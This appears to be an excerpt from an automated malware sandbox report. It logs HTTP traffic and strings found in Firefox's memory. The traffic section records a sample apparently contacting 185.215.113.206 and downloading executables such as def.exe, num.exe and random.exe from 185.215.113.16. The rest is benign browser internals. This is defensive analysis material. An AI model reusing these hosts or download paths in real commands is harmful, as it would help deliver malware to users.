Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://pub.doubleverify.com/signals/pub.js*webcompat-reporter%40mozilla.org:1.5.1FileUtils_closeAtomicFileOutputStream*://www.everestjs.net/static/st.v3.js**://*.imgur.io/js/vendor.*.bundle.js@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/addons/XPIProvider.jsm*://static.chartbeat.com/js/chartbeat_video.js*://connect.facebook.net/*/all.js*browser.theme.retainedExpiredThemes equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2788242499.00000295E6803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6727000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1FileUtils_closeSafeFileOutputStream*://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/FileUtils.sys.mjswebcompat-reporter@mozilla.org.xpi*://static.chartbeat.com/js/chartbeat.jspictureinpicture%40mozilla.org:1.0.0@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/facebook.svg*://www.rva311.com/static/js/main.*.chunk.jsFileUtils_openAtomicFileOutputStreamhttps://smartblock.firefox.etp/play.svg*://cdn.branch.io/branch-latest.min.js**://auth.9c9media.ca/auth/main.js*://static.criteo.net/js/ld/publishertag.js*://*.imgur.com/js/vendor.*.bundle.jsFileUtils_openSafeFileOutputStream@mozilla.org/network/atomic-file-output-stream;1*://c.amazon-adsystem.com/aax2/apstag.js*://web-assets.toggl.com/app/assets/scripts/*.js*://libs.coremetrics.com/eluminate.js*://connect.facebook.net/*/sdk.js**://www.google-analytics.com/gtm/js**://ssl.google-analytics.com/ga.js*://www.google-analytics.com/analytics.js**://imasdk.googleapis.com/js/sdkloader/ima3.js*://s0.2mdn.net/instream/html5/ima3.js*://www.googletagservices.com/tag/js/gpt.js**://pagead2.googlesyndication.com/tag/js/gpt.js**://cdn.adsafeprotected.com/iasPET.1.js*://static.adsafeprotected.com/iasPET.1.js*://www.google-analytics.com/plugins/ua/ec.js*://www.googletagmanager.com/gtm.js**://*.moatads.com/*/moatheader.js**://cdn.optimizely.com/public/*.js*://*.vidible.tv/*/vidible-min.js**://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://s.webtrends.com/js/advancedLinkTracking.js*://s.webtrends.com/js/webtrends.js*://adservex.media.net/videoAds.js**://s.webtrends.com/js/webtrends.min.jsColorwayIntensityIdPostfixToL10nMap equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E63000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E63000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4CE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
